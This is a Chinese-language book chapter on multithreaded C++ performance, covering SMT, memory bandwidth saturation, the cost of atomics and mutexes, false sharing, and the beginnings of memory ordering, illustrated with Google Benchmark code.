线程是一系列指令,可以独立于其他线程执行。多个线程在同一个程序中同时运行。所有线程共享同一内存,因此,根据定义,同一进程的线程在同一台机器上运行。我们已经提到 HPC 程序也可以由多个进程组成。分布式程序在多台机器上运行,并利用许多独立的进程。分布式计算的主题超出了本书的范围:我们正在学习如何最大化每个进程的性能。
那么,关于多线程的性能,我们能说些什么呢?首先,只有当系统有足够的资源来同时执行多个指令序列时,同时执行多个指令序列才是有益的。否则,操作系统只是在不同的线程之间切换,以允许每个线程执行一个时间片。
在单个处理器上,一个忙于计算的线程提供了处理器可以处理的工作量。即使线程没有使用所有的计算单元或者在等待内存访问,这也是真实的:处理器一次只能执行一个指令序列 - 它只有一个程序计数器。现在,如果线程在等待某些东西,比如用户输入或网络流量,CPU 是空闲的,可以在不影响第一个线程性能的情况下执行另一个线程。再次强调,操作系统处理线程之间的切换。需要注意的是,在这种情况下,等待内存不算是等待:当线程在等待内存时,执行一个指令需要更长的时间。当线程在等待 I/O 时,它必须进行操作系统调用,然后被操作系统阻塞,直到操作系统唤醒它来处理数据。
所有进行大量计算的线程都需要足够的资源,如果目标是使程序整体更加高效。通常,当我们考虑线程的资源时,我们会想到多个处理器或处理器核心。但通过并发性也有其他增加资源利用率的方法,我们将很快看到。
对称多线程
我们在整本书中多次提到,处理器有大量的计算硬件,大多数程序很少(如果有的话)会全部使用:程序中的数据依赖限制了处理器在任何时候可以进行多少计算。如果处理器有多余的计算单元,它不能同时执行另一个线程以提高效率吗?这就是对称多线程(SMT)的理念,也被称为超线程。
支持 SMT 的处理器有一组寄存器和计算单元,但有两个(或更多)程序计数器,以及维护运行线程状态的额外副本的任何其他硬件(具体实现因处理器而异)。最终结果是:单个处理器对操作系统和程序来说看起来像是两个(通常)或更多个独立的处理器,每个都能运行一个线程。实际上,所有在一个 CPU 上运行的线程都竞争共享的内部资源,比如寄存器。如果每个线程没有充分利用这些共享资源,SMT 可以提供显著的性能提升。换句话说,它通过运行多个这样的线程来弥补一个线程的低效率。
实际上,大多数支持 SMT 的处理器可以运行两个线程,性能提升的幅度差异很大。很少见到 100%的加速(两个线程都以全速运行)。通常,实际的加速在 25%到 50%之间(第二个线程实际上以四分之一到半的速度运行),但有些程序根本没有加速。在本书中,我们不会特别对待 SMT 线程:对于程序来说,SMT 处理器看起来就像两个处理器,我们对两个真实线程在不同核心上运行的性能所说的任何事情同样适用于在同一个核心上运行的两个线程的性能。最终,你必须测量运行比物理核心更多的线程是否为程序提供了任何加速,并根据这一点决定要运行多少线程。
无论我们是共享整个物理核心还是由 SMT 硬件创建的逻辑核心,并发程序的性能在很大程度上取决于线程能够独立工作的程度。这首先取决于算法和工作在线程之间的分配;这两个问题有数百本专门的书籍来讨论,但超出了本书的范围。相反,我们现在专注于影响线程交互并决定特定实现成功或失败的基本因素。
线程和内存
由于在多个计算线程之间进行时间分片对 CPU 没有性能优势,我们可以假设在本章的其余部分中,在每个处理器核心上运行一个 HPC 线程(或者在 SMT 处理器提供的每个逻辑核心上运行一个线程)。只要这些线程不竞争任何资源,它们就完全独立运行,并且我们可以享受完美的加速:两个线程将在相同的时间内完成两倍于一个线程所能完成的工作。如果工作可以完美地在两个线程之间分配,而不需要它们之间的任何交互,那么两个线程将在一半的时间内解决问题。
这种理想的情况确实会发生,但并不经常;更重要的是,如果发生了,你已经准备好从你的程序中获得最佳性能:你知道如何优化单个线程的性能。
编写高效并发程序的难点在于当不同线程执行的工作不完全独立时,线程开始竞争资源。但如果每个线程都充分利用其 CPU,那么还有什么可以竞争的呢?剩下的就是内存,它在所有线程之间共享,因此是一个共同的资源。这就是为什么对多线程程序性能的探索几乎完全集中在线程之间通过内存交互引起的问题上。
编写高性能并发程序的另一个方面是在组成程序的线程和进程之间分配工作。但要了解这一点,你必须找一本关于并行编程的书。
事实证明,内存,已经是性能的长杆,在添加并发性后更加成为问题。虽然硬件施加的基本限制是无法克服的,但大多数程序的性能远未接近这些限制,而且熟练的程序员有很大的空间来提高其代码的效率;本章为读者提供了必要的知识和工具。
让我们首先检查在存在线程的情况下内存系统的性能。我们以与上一章相同的方式进行,通过测量读取或写入内存的速度,只是现在我们使用多个线程同时读取或写入。我们从每个线程都有自己的内存区域来访问的情况开始。我们不在线程之间共享任何数据,但我们在共享硬件资源,比如内存带宽。
内存基准本身与我们之前使用的基本相同。实际上,基准函数本身完全相同。例如,要对顺序读取进行基准测试,我们使用这个函数:
template <class Word>
void BM_read_seq(benchmark::State& state) {
const size_t size = state.range(0);
void* memory = ::malloc(size);
void* const end = static_cast<char*>(memory) + size;
volatile Word* const p0 = static_cast<Word*>(memory);
Word* const p1 = static_cast<Word*>(end);
for (auto _ : state) {
for (volatile Word* p = p0; p != p1; ) {
REPEAT(benchmark::DoNotOptimize(*p++);)
}
benchmark::ClobberMemory();
}
::free(memory);
state.SetBytesProcessed(size*state.iterations());
state.SetItemsProcessed((p1 - p0)*state.iterations());
}
请注意,内存是在基准函数内分配的。如果这个函数从多个线程中调用,每个线程都有自己的内存区域进行读取。这正是谷歌基准库在运行多线程基准测试时所做的。要在多个线程上运行基准测试,只需要使用正确的参数:
#define ARGS ->RangeMultiplier(2)->Range(1<<10, 1<<30) \
->Threads(1)->Threads(2)
BENCHMARK_TEMPLATE1(BM_read_seq, unsigned long) ARGS;
您可以为不同的线程计数指定尽可能多的运行次数,或者使用ThreadRange()
参数生成 1、2、4、8、…线程的范围。您必须决定要使用多少个线程;对于 HPC 基准测试,一般来说,没有理由超过您拥有的 CPU 数量(考虑 SMT)。其他内存访问模式的基准测试,比如随机访问,也是以相同的方式进行的;您已经在上一章中看到了代码。对于写入,我们需要一些内容来写入;任何值都可以:
Word fill; ::memset(&fill, 0xab, sizeof(fill));
for (auto _ : state) {
for (volatile Word* p = p0; p != p1; ) {
REPEAT(benchmark::DoNotOptimize(*p++ =
fill);)
}
benchmark::ClobberMemory();
}
现在是展示结果的时候了。例如,这是顺序写入的内存吞吐量:
图 5.1-64 位整数的顺序写入的内存吞吐量(每纳秒字数)作为内存范围的函数,为 1 到 16 个线程
总体趋势对我们来说已经很熟悉:我们看到与缓存大小相对应的速度跳跃。现在我们关注不同线程数量的曲线之间的差异。我们有 1 到 16 个线程的结果(用于收集这些测量数据的机器确实至少有 16 个物理 CPU 核心)。让我们从图的左侧开始。在这里,速度受到 L1 缓存(最多 32 KB)的限制,然后是 L2 缓存(256 KB)。这个处理器为每个核心都有单独的 L1 和 L2 缓存,因此只要数据适合 L2 缓存,线程之间就不应该有任何交互,因为它们不共享任何资源:每个线程都有自己的缓存。实际上,这并不完全正确,即使对于小内存范围,仍然有其他共享的 CPU 组件,但几乎是正确的:2 个线程的吞吐量是 1 个线程的两倍,4 个线程的写入速度再次快两倍,16 个线程几乎比 4 个线程快 4 倍。
随着我们超过 L2 缓存的大小并进入 L3 缓存,然后是主内存,图片发生了巨大的变化:在这个系统上,L3 缓存是所有 CPU 核心共享的。主内存也是共享的,尽管不同的内存 bank更接近不同的 CPU(非均匀内存架构)。对于 1、2 甚至 4 个线程,吞吐量继续随着线程数量增加而增加:主内存似乎有足够的带宽,可以支持最多 4 个处理器以全速写入。然后情况变得更糟:当我们从 6 个线程增加到 16 个线程时,吞吐量几乎不再增加。我们已经饱和了内存总线:它无法更快地写入数据。
如果这还不够糟糕,请考虑这些结果是在撰写时的最新硬件上获得的(2020 年)。在 2018 年,作者在他的一堂课上呈现的同一张图表如下:
图 5.2-较旧(2018 年)CPU 的内存吞吐量
这个系统有一个内存总线,只需两个线程就可以完全饱和。让我们看看这个事实对并发程序性能的影响。
内存绑定程序和并发性
相同的结果可以以不同的方式呈现:通过绘制每个线程的内存速度与相对于一个线程的线程数量的图,我们专注于并发对内存速度的影响。
图 5.3-内存吞吐量,相对于单个线程的吞吐量,与线程计数
通过对内存速度进行归一化,使得单个线程的速度始终为 1,我们更容易看到对于适合 L1 或 L2 缓存的小数据集,每个线程的内存速度几乎保持不变,即使对于 16 个线程(每个线程的写入速度为其单线程速度的 80%)。然而,一旦我们跨入 L3 缓存或超过其大小,速度在 4 个线程后下降。从 8 到 16 个线程只提供了极小的改善。系统中没有足够的带宽来快速写入数据到内存。
不同内存访问模式的结果看起来很相似,尽管读取内存的带宽通常比写入内存的带宽略微好一些。
我们可以看到,如果我们的程序在单线程情况下受到内存限制,因此其性能受到将数据移动到和从主内存的速度的限制,那么我们可以期望从并发中获得的性能改进有一个相当严格的限制。如果你认为这不适用于你,因为你没有昂贵的 16 核处理器,那么请记住,更便宜的处理器配备了更便宜的内存总线,因此大多数 4 核系统也没有足够的内存带宽来满足所有核心。
对于多线程程序来说,避免成为内存限制更加重要。在这里有用的实现技术包括分割计算,这样更多的工作可以在适合 L1 或 L2 缓存的较小数据集上完成;重新排列计算,这样更多的工作可以通过更少的内存访问完成,通常会重复一些计算;优化内存访问模式,使内存按顺序访问而不是随机访问(尽管两种访问模式都可以饱和,但顺序访问的总带宽要大得多,因此对于相同数量的数据,如果使用随机访问,程序可能会受到内存限制,而如果使用顺序访问,则根本不受内存速度限制)。如果仅靠实现技术是不够的,无法产生期望的性能改进,下一步就是调整算法以适应并发编程的现实:许多问题有多种算法,它们在内存需求上有所不同。单线程程序的最快算法通常可以被另一个更适合并发性的算法超越:虽然我们在单线程执行速度上失去了一些,但我们通过可扩展执行的蛮力来弥补。
到目前为止,我们假设每个线程都完全独立于所有其他线程地完成自己的工作。线程之间的唯一交互是间接的,由于争夺内存带宽等有限资源。这是最容易编写的程序类型,但大多数现实生活中的程序都不允许这种限制。这带来了一整套全新的性能问题,现在是我们学习它们的时候了。
理解内存同步的成本
最后一节讨论了在同一台机器上运行多个线程而这些线程之间没有任何交互。如果你可以以一种使这种实现成为可能的方式来分割程序的工作,那么请务必这样做。你无法击败这种尴尬并行程序的性能。
往往,线程必须相互交互,因为它们正在为一个共同的结果做出贡献。这种交互是通过线程通过它们共享的唯一资源——内存——相互通信来实现的。我们现在必须了解这种交互的性能影响。
让我们从一个简单的例子开始。假设我们想要计算许多值的总和。我们有许多数字要相加,但最终只有一个结果。我们有这么多数字要相加,以至于我们想要在几个线程之间分割添加它们的工作。但只有一个结果值,所以线程必须在添加到这个值时相互交互。
我们可以在微基准中重现这个问题:
unsigned long x {0};
void BM_incr(benchmark::State& state) {
for (auto _ : state) {
benchmark::DoNotOptimize(++x);
}
}
BENCHMARK(BM_incr)->Threads(2);
为简单起见,我们总是将结果增加 1(添加整数的成本不取决于值,我们不想对生成不同值进行基准测试,只是对添加本身进行基准测试)。由于每个线程都调用基准函数,因此在此函数内声明的任何变量都独立存在于每个线程的堆栈上;这些变量根本不共享。为了有一个两个线程都能贡献的共同结果,变量必须在基准函数之外的文件范围内声明(一般来说这是个坏主意,但在微基准的非常有限的上下文中是必要且可以接受的)。
当然,这个程序的问题远不止全局变量:这个程序是错误的,其结果是未定义的。问题在于我们有两个线程增加相同的值。增加一个值是一个 3 步过程:程序从内存中读取值,在寄存器中增加它,然后将新值写回内存。完全有可能两个线程同时读取相同的值(0),在每个处理器上分别增加它(1),然后写回。第二个写入的线程简单地覆盖了第一个线程的结果,经过两次增加,结果是 1 而不是 2。这两个线程竞争写入同一内存位置的情况被称为数据竞争。
现在你明白了为什么这样的无保护并发访问是一个问题,你可能会忘记它;相反,遵循这个一般规则:如果一个程序从多个线程访问相同的内存位置而没有同步,并且其中至少有一个访问是写入的,那么该程序的结果是未定义的。这是非常重要的:你不需要确切地弄清楚为了结果是不正确而必须发生的操作序列。事实上,在这种推理中根本没有任何收获。任何时候你有两个或更多的线程访问相同的内存位置,除非你能保证两件事中的一件:要么所有访问都是只读的,要么所有访问都使用正确的内存同步(我们还要学习)。
我们计算总和的问题要求我们将答案写入结果变量,因此访问肯定不是只读的。内存访问的同步通常由互斥锁提供:每次访问线程之间共享的变量都必须由互斥锁保护(当然,对于所有线程来说,必须是相同的互斥锁)。
unsigned long x {0};
std::mutex m;
{ // Concurrent access happens here
std::lock_guard<std::mutex> guard(m);
++x;
}
锁卫在其构造函数中锁定互斥锁,并在析构函数中解锁它。一次只有一个线程可以拥有锁,因此增加共享结果变量。其他线程在锁上被阻塞,直到第一个线程释放它。请注意,只要至少有一个线程修改变量,所有访问都必须被锁定,包括读取和写入。
锁是确保多线程程序正确性的最简单方法,但从性能的角度来看,它们并不是最容易研究的东西。它们是相当复杂的实体,通常涉及系统调用。我们将从一个在这种特定情况下更容易分析的同步选项开始:原子变量。
C++给了我们一个选项,可以声明一个变量为原子变量。这意味着对这个变量的所有支持的操作都作为单个、不可中断的原子事务执行:观察这个变量的任何其他线程都会在原子操作之前或之后看到它的状态,但永远不会在操作中间。例如,在 C++中,所有整数原子变量都支持原子增量操作:如果一个线程正在执行该操作,其他线程就无法访问该变量,直到第一个操作完成。这些操作需要特定的硬件支持:例如,原子增量是一个特殊的硬件指令,它读取旧值,增加它,并将新值作为单个硬件操作写入。
对于我们的例子,原子增量就是我们需要的。必须强调的是,无论我们决定使用什么样的同步机制,所有线程都必须使用相同的机制来并发访问特定的内存位置。如果我们在一个线程上使用原子操作,只要所有线程都使用原子操作,就不会有数据竞争。如果另一个线程使用互斥锁或非原子访问,所有的保证都将失效,结果再次是未定义的。
让我们重写我们的基准测试来使用 C++原子操作:
std::atomic<unsigned long> x(0);
void BM_shared(benchmark::State& state) {
for (auto _ : state) {
benchmark::DoNotOptimize(++x);
}
}
程序现在是正确的:这里没有数据竞争。这并不一定准确,因为单个增量是一个非常短的时间间隔来测量;我们真的应该手动展开循环或使用宏,并在每个循环迭代中进行多次增量(我们在上一章中已经这样做了,所以你可以在那里看到宏)。让我们看看它的表现如何。如果线程之间没有交互,两个线程计算总和所需的时间将是一个线程所需时间的一半:
图 5.4 - 多线程程序中的原子增量时间
我们已经对结果进行了归一化,以显示单个增量的平均时间,也就是计算总和所需的时间除以总加法次数。这个程序的性能非常令人失望:不仅没有改进,而且事实上,在两个线程上计算总和所需的时间比一个线程上还要长。
如果我们使用更传统的互斥锁,结果甚至更糟:
图 5.5 - 使用互斥锁的多线程程序中的增量时间
首先,正如我们预期的那样,即使在一个线程上,锁定互斥锁也是一个相当昂贵的操作:使用互斥锁的增量需要 23 纳秒,而原子增量只需要 7 纳秒。随着线程数量的增加,性能会更快地下降。
从这些实验中可以得出一个非常重要的教训。访问共享数据的程序部分永远不会扩展。访问共享数据的最佳性能是单线程性能。一旦有两个或更多线程同时访问相同的数据,性能只会变得更糟。当然,如果两个线程在不同时间访问相同的数据,它们实际上并不相互交互,因此两次都会获得单线程性能。多线程程序的性能优势来自线程独立进行的计算,无需同步。根据定义,这样的计算是在不共享的数据上进行的(无论如何,如果你希望你的程序是正确的)。但是为什么并发访问共享数据如此昂贵?在下一节中,我们将了解原因。我们还将学到一个非常重要的关于仔细解释测量结果的教训。
为什么数据共享如此昂贵
正如我们刚刚看到的,共享数据的并发(同时)访问真的会严重影响性能。直观上讲,这是有道理的:为了避免数据竞争,任何给定时间只有一个线程可以操作共享数据。我们可以通过互斥锁或使用原子操作来实现这一点。无论哪种方式,当一个线程,比如说,增加共享变量时,所有其他线程都必须等待。我们上一节的测量结果证实了这一点。
然而,在基于观察和实验的任何行动之前,准确理解我们测量了什么以及可以得出什么结论至关重要。
很容易描述所观察到的情况:同时从多个线程增加共享变量根本不会扩展,并且实际上比只使用一个线程更慢。这对于原子共享变量和受互斥锁保护的非原子变量都是如此。我们没有尝试测量对非原子变量的无保护访问,因为这样的操作会导致未定义的行为和不正确的结果。我们也知道对于线程特定的(非共享)变量的无保护访问会随着线程数量的增加而扩展得非常好,至少直到我们饱和了总内存带宽(只有在我们写入大量数据时才会发生;对于单个变量来说,这不是问题)。批判性地分析你的实验结果并且没有不合理的先入之见是非常重要的技能,所以让我们再次声明我们所知道的:对共享数据的受保护访问很慢,对非共享数据的无保护访问很快。如果我们从中得出结论,即数据共享使程序变慢,那么我们就是在做一个假设:共享数据是重要的,受保护访问不是。这提出了另一个非常重要的观点,当进行性能测量时,你应该记住:当比较程序的两个版本时,尽量只改变一件事,并测量结果。
我们缺少的测量是这样的:对受保护数据的非共享访问。当然,我们不需要保护只被一个线程访问的数据,但我们试图准确理解共享数据访问为何如此昂贵:是因为它是共享的还是因为它是原子的(或者受锁保护)。我们必须一次只做一个改变,所以让我们保持原子访问并移除数据共享。至少有两种简单的方法可以做到这一点。第一种方法是创建一个原子变量的全局数组,并让每个线程访问自己的数组元素:
std::atomic<unsigned long> a[1024];
void BM_false_shared(benchmark::State& state) {
std::atomic<unsigned long>& x = a[state.thread_index];
for (auto _ : state) {
benchmark::DoNotOptimize(++x);
}
}
Google Benchmark 中的线程索引对于每个线程是唯一的,数字从 0 开始并且是紧凑的(0, 1, 2…)。另一种简单的方法是在benchmark
函数本身中声明变量,如下面的代码所示:
void BM_not_shared(benchmark::State& state) {
std::atomic<unsigned long> x;
for (auto _ : state) {
benchmark::DoNotOptimize(++x);
}
}
现在我们正在增加与我们在收集图 5.4 的测量时相同的原子整数,只是它不再在线程之间共享。这将告诉我们是共享还是原子变量使增量变慢。以下是结果:
图 5.6 - 共享和非共享变量的原子增量时间
共享曲线是来自图 5.4 的曲线,而另外两个来自没有数据共享的基准测试。每个线程都有一个本地变量的基准测试被标记为“非共享”,并且表现为:两个线程上的计算时间是一个线程的一半,四个线程的时间再次减半,依此类推。请记住,这是一次增量操作的平均时间:我们总共进行了,比如说,100 万次增量,测量总共花费的时间,然后除以 100 万。由于我们增量的变量在线程之间不共享,我们期望两个线程的运行速度是一个线程的两倍,所以“非共享”结果正是我们预期的。另一个基准测试,我们使用原子变量的数组,但每个线程使用自己的数组元素,也没有共享数据。然而,它的表现就好像数据在线程之间是共享的,至少对于少量线程来说,所以我们称之为“伪共享”:实际上没有真正共享,但程序的行为却好像共享了一样。
这一结果表明,数据共享成本高的原因比我们之前假设的更加复杂:在伪共享的情况下,每个数组元素只有一个线程在操作,因此它不必等待任何其他线程完成递增。然而,线程显然彼此等待。要理解这种异常,我们必须更多地了解缓存的工作方式。
多核或多处理器系统中数据在处理器和内存之间的传输方式如图 5.7所示。
图 5.7 - 多核系统中 CPU 和内存之间的数据传输
处理器操作数据以单个字节或取决于变量类型的单词;在我们的情况下,unsigned long
是一个 8 字节的单词。原子递增读取指定地址的单个单词,递增它,然后将其写回。但是从哪里读取?CPU 只能直接访问 L1 缓存,因此它从那里获取数据。数据如何从主内存传输到缓存?它通过更宽的内存总线复制。可以从内存复制到缓存和反复制的最小数据量称为缓存行。在所有 x86 CPU 上,一个缓存行是 64 字节。当 CPU 需要锁定内存位置进行原子事务(如原子递增)时,它可能只写入一个单词,但必须锁定整个缓存行:如果允许两个 CPU 同时将同一个缓存行写入内存,其中一个将覆盖另一个。请注意,为简单起见,我们在图 5.7中只显示了一级缓存层次结构,但这并没有影响:数据以缓存行长度的块通过所有缓存级别传输。
现在我们可以解释我们观察到的伪共享:即使相邻的数组元素实际上并不在线程之间共享,它们确实占据了同一个缓存行。当 CPU 请求对一个数组元素进行原子递增操作的独占访问时,它会锁定整个缓存行,并阻止任何其他 CPU 访问其中的任何数据。顺便说一句,这解释了为什么图 5.7中的伪共享对于多达 8 个线程而言等效于真实数据共享,但对于更多的线程而言会更快:我们在写入 8 字节的单词,所以 8 个单词可以放入同一个缓存行中。如果我们只有 8 个线程(或更少),那么在任何给定时间只有一个线程可以递增其值,就像真正的共享一样。但是对于超过 8 个线程,数组至少占据两个缓存行,并且它们可以被两个 CPU 独立地锁定。因此,如果我们有,比如说,16 个线程,那么在任何时候都有两个线程可以前进,一个用于数组的每一半。
另一方面,真正的无共享基准在每个线程的堆栈上分配原子变量。这些是完全独立的内存分配,相隔多个缓存行。通过内存没有任何交互,这些线程完全独立地运行。
我们的分析表明,访问共享数据的高成本的真正原因是必须进行的工作,以保持对缓存行的独占访问,并确保所有 CPU 的缓存中都有一致的数据:在一个 CPU 获得独占访问并更新缓存行中的任何一个位之后,所有其他 CPU 的所有缓存中该行的副本都已过时。在这些其他 CPU 可以访问同一个缓存行中的任何数据之前,它们必须从主内存中获取更新的内容,正如我们所看到的,这需要相对较长的时间。
正如我们所看到的,两个线程是否尝试访问相同的内存位置并不重要,只要它们竞争访问同一个缓存行。这种独占缓存行访问是共享变量高成本的根源。
人们可能会想知道锁昂贵的原因是否也存在于它们包含的共享数据中(所有锁必须包含一定量的共享数据,这是一个线程可以让另一个线程知道锁已被占用的唯一方法)。正如我们在图 5.4和5.5中所看到的,互斥锁比单个原子访问要昂贵得多,即使在一个线程上也是如此。我们可以正确地假设,锁定互斥锁涉及的工作比只修改一个原子变量要多。但为什么当我们有多个线程时,这项工作需要更多时间呢?这是因为数据是共享的,并且需要对缓存行进行独占访问吗?我们留给读者作为练习来确认这确实是这样。这个实验的关键是设置锁的伪共享:一个锁数组,使得每个线程操作自己的锁,但它们竞争同一个缓存行(当然,这样的每线程锁实际上并不能保护任何东西免受并发访问,但我们只想知道锁定和解锁所需的时间)。这个实验比你想象的要稍微复杂一些:标准的 C++互斥锁std::mutex
通常相当大,根据操作系统的不同在 40 到 80 字节之间。这意味着你甚至不能将两个互斥锁放入同一个缓存行中。你必须使用一个更小的锁来进行这个实验,比如自旋锁或futex。
我们现在明白了为什么同时访问共享数据的成本如此之高。这种理解给了我们两个重要的教训。第一个教训是在尝试创建非共享数据时要避免伪共享。伪共享如何潜入我们的程序?考虑我们在本章中一直研究的简单示例:并发累积总和。我们的一些方法比其他方法慢,但它们都非常慢(比单线程程序慢,或者最多也不会更快)。我们明白访问共享数据是昂贵的。那么什么更便宜呢?当然是不访问共享数据!或者至少不那么频繁地访问。我们没有理由每次想要向总和添加东西时都访问共享总和值:我们可以在线程上本地进行所有的加法,然后在最后一次将它们添加到共享累加器值上。代码看起来会像这样:
// Global (shared) results
std::atomic<unsigned long> sum;
unsigned long local_sum[…];
// Per-thread work is done here
unsigned long& x = local_sum[thread_index];
for (size_t i = 0; i < N; ++i) ++x;
sum += x;
我们有全局结果sum
,它在所有线程之间共享,并且必须是原子的(或者由锁保护)。但是每个线程在完成所有工作后只访问这个变量一次。每个线程使用另一个变量来保存部分总和,只有在这个线程上添加的值(在我们的简单情况中是增量 1,但无论添加的值如何,性能都是一样的)。我们可以创建一个大数组来存储这些每线程部分总和,并给每个线程一个唯一的数组元素来处理。当然,在这个简单的例子中,我们可以只使用一个本地变量,但在一个真实的程序中,部分结果通常需要在工作线程完成后保留,并且这些结果的最终处理是在其他地方完成的,也许是由另一个线程完成。为了模拟这种实现,我们使用一个每线程变量的数组。请注意,这些变量只是普通的整数,不是原子的:它们没有并发访问。不幸的是,在这个过程中,我们陷入了伪共享的陷阱:数组的相邻元素(通常)在同一个缓存行上,因此不能同时访问。这反映在我们程序的性能上:
图 5.8 - 带有和不带有伪共享的总和累积
正如您在图 5.8中所看到的,我们的程序在线程数量很大时扩展性非常差。另一方面,如果我们通过确保每个线程的部分和至少相隔 64 字节(或者在我们的情况下简单地使用本地变量)来消除虚假共享,那么它的扩展性就完美,正如预期的那样。当我们使用更多线程时,两个程序都变得更快,但没有虚假共享负担的实现大约快两倍。
第二个教训在后面的章节中将变得更加重要:由于并发访问共享变量相对来说非常昂贵,因此使用更少共享变量的算法或实现通常会执行得更快。
这个陈述可能在这一刻令人困惑:由于问题的性质,我们有一些必须共享的数据。我们可以进行像刚刚做的优化,并消除对这些数据的不必要访问。但一旦这样做了,剩下的就是我们需要访问以产生期望结果的数据。那么,共享变量可能会更多,或更少,吗?要理解这一点,我们必须意识到编写并发程序不仅仅是保护对所有共享数据的访问。
学习并发和顺序
正如读者在本章前面提醒过的,任何访问任何共享数据的程序,如果没有访问同步(通常是互斥锁或原子访问),都会产生未定义行为,通常称为数据竞争。这在理论上似乎很简单。但我们的激励性例子太简单了:它只有一个在线程之间共享的变量。并发性不仅仅是锁定共享变量,我们将很快看到。
顺序的需求
现在考虑一下这个例子,被称为生产者-消费者队列。假设我们有两个线程。第一个线程,生产者,通过构造对象来准备一些数据。第二个线程,消费者,处理数据(对每个对象进行操作)。为了简单起见,假设我们有一个大的内存缓冲区,最初未初始化,生产者线程在缓冲区中构造新对象,就好像它们是数组元素一样:
size_t N; // Count of initialized objects
T* buffer; // Only [0]…[N-1] are initialized
为了生产(构造)一个对象,生产者线程通过在数组的每个元素上放置new
运算符来调用构造函数,从N==0
开始:
new (buffer + N) T( … arguments … );
现在数组元素buffer[N]
已初始化,并且可以被消费者线程访问。生产者通过增加计数器N
来发出信号,然后继续初始化下一个对象:
++N;
消费者线程在计数器N
增加到大于i
之前,不能访问数组元素buffer[i]
:
for (size_t i = 0; keep_consuming(); ++i) {
while (N <= i) {}; // Wait for the i-th element
consume(buffer[i]);
}
为了简单起见,让我们忽略内存耗尽的问题,并假设缓冲区足够大。此外,我们现在不关心终止条件(消费者如何知道何时继续消费?)。此刻,我们对生产者-消费者握手协议感兴趣:消费者如何在没有任何竞争的情况下访问数据?
一般规则规定,对共享数据的任何访问都必须受到保护。显然,计数器N
是一个共享变量,因此访问它需要更多的注意:
size_t N; // Count of initialized objects
std::mutex mN; // Mutex to guard N
… Producer …
{
std::lock_guard l(mN);
++N;
}
… Consumer …
{
size_t n;
do {
std::lock_guard l(mN);
n = N;
} while (n <= i);
}
但这足够吗?仔细看:我们的程序中有更多的共享数据。对象数组T
在两个线程之间是共享的:每个线程都需要访问每个元素。但是,如果我们需要锁定整个数组,我们可能会回到单线程实现:两个线程中的一个始终会被锁定。根据经验,每个编写过任何多线程代码的程序员都知道,在这种情况下,我们不需要锁定数组,只需要锁定计数器。事实上,锁定计数器的整个目的是我们不需要以这种方式锁定数组:数组的任何特定元素都不会被同时访问。首先,它只能在生产者在计数器递增之前访问。然后,它只能在计数器递增后由消费者访问。这是已知的。但是,本书的目标是教会你如何理解事情为什么会发生,因此,为什么锁定计数器足够?是什么保证事件确实按我们想象的顺序发生?
顺便说一句,即使这个平凡的例子也变得不那么平凡了。保护消费者对计数器N
的访问的天真方法如下:
std::lock_guard l(mN);
while (N <= i) {};
这是一个保证的死锁:一旦消费者获取锁,它就会等待元素i
被初始化,然后才会释放锁。生产者无法取得任何进展,因为它正在等待获取锁,然后才能递增计数器N
。两个线程现在都永远在等待。很容易注意到,如果我们只是使用原子变量来计数,我们的代码将简单得多:
std::atomic<size_t> N; // Count of initialized objects
… Producer …
{
++N; // Atomic, no need for locks
}
… Consumer …
{
while (N <= i) {};
}
现在,消费者对计数器N
的每次读取都是原子的,但在两次读取之间,生产者没有被阻塞,可以继续工作。这种并发处理方法被称为buffer[i]
?
内存顺序和内存屏障
正如我们意识到的那样,能够安全地访问共享变量并不足以编写任何非平凡的并发程序。我们还必须能够推断事件发生的顺序。在我们的生产者和消费者示例中,整个程序都建立在一个假设上:我们可以保证第 N 个数组元素的构造,将计数器递增到 N + 1,以及消费者线程访问第 N 个元素的顺序。
但是,一旦我们意识到我们不仅仅是处理多个线程,而且是处理真正同时执行这些线程的多个处理器时,问题实际上更加复杂。我们必须记住的关键概念是可见性。一个线程在一个 CPU 上执行,并且在 CPU 分配值给变量时对内存进行更改。实际上,CPU 只是更改其缓存的内容;缓存和内存硬件最终将这些更改传播到主内存或共享的高级缓存,此时这些更改可能对其他 CPU 可见。我们说“可能”,因为其他 CPU 的缓存中对相同变量有不同的值,我们不知道这些差异何时会被协调。我们知道,一旦 CPU 开始对原子变量执行操作,其他 CPU 就无法访问相同的变量,直到此操作完成,并且一旦此操作完成,所有其他 CPU 将看到此变量的最新更新值(但仅当所有 CPU 将变量视为原子时)。我们知道,同样适用于由锁保护的变量。但是,这些保证对于我们的生产者-消费者程序来说是不够的:根据我们目前所知,我们无法确定它是否正确。这是因为,到目前为止,我们只关注了访问共享变量的一个方面:这种访问的原子性或事务性。我们希望确保整个操作,无论是简单还是复杂,都作为单个事务执行,而不会被中断。
但访问共享数据还有另一个方面,即内存顺序。就像访问本身的原子性一样,它是硬件的一个特性,使用特定的机器指令(通常是原子指令本身的属性或标志)来激活。
内存顺序有几种形式。最不受限制的是松散内存顺序。当使用松散顺序执行原子操作时,我们唯一的保证是操作本身是原子执行的。这是什么意思?让我们首先考虑执行原子操作的 CPU。它运行包含其他操作的线程,既有非原子操作,也有原子操作。其中一些操作修改内存;这些操作的结果可以被其他 CPU 看到。其他操作读取内存;它们观察其他 CPU 执行的操作的结果。运行我们线程的 CPU 按照一定顺序执行这些操作。它可能不是程序中编写的顺序:编译器和硬件都可以重新排序指令,通常是为了提高性能。但这是一个明确定义的顺序。现在让我们从执行不同线程的另一个 CPU 的角度来看。第二个 CPU 可以看到内存内容随着第一个 CPU 的工作而改变。但它不一定以与原子操作相同的顺序看到它们,也不一定以与彼此相同的顺序看到它们:
图 5.9 - 使用松散内存顺序的操作的可见性
这就是我们之前谈论的可见性:一个 CPU 按照一定顺序执行操作,但它们的结果以非常不同的顺序对其他 CPU 可见。为了简洁起见,我们通常谈论操作的可见性,并不是每次都提到结果。
如果我们对共享计数器N
的操作使用松散内存顺序执行,我们将陷入深深的麻烦:使程序正确的唯一方法是锁定它,以便只有一个线程,生产者或消费者,可以同时运行,并且我们无法从并发中获得性能改进。
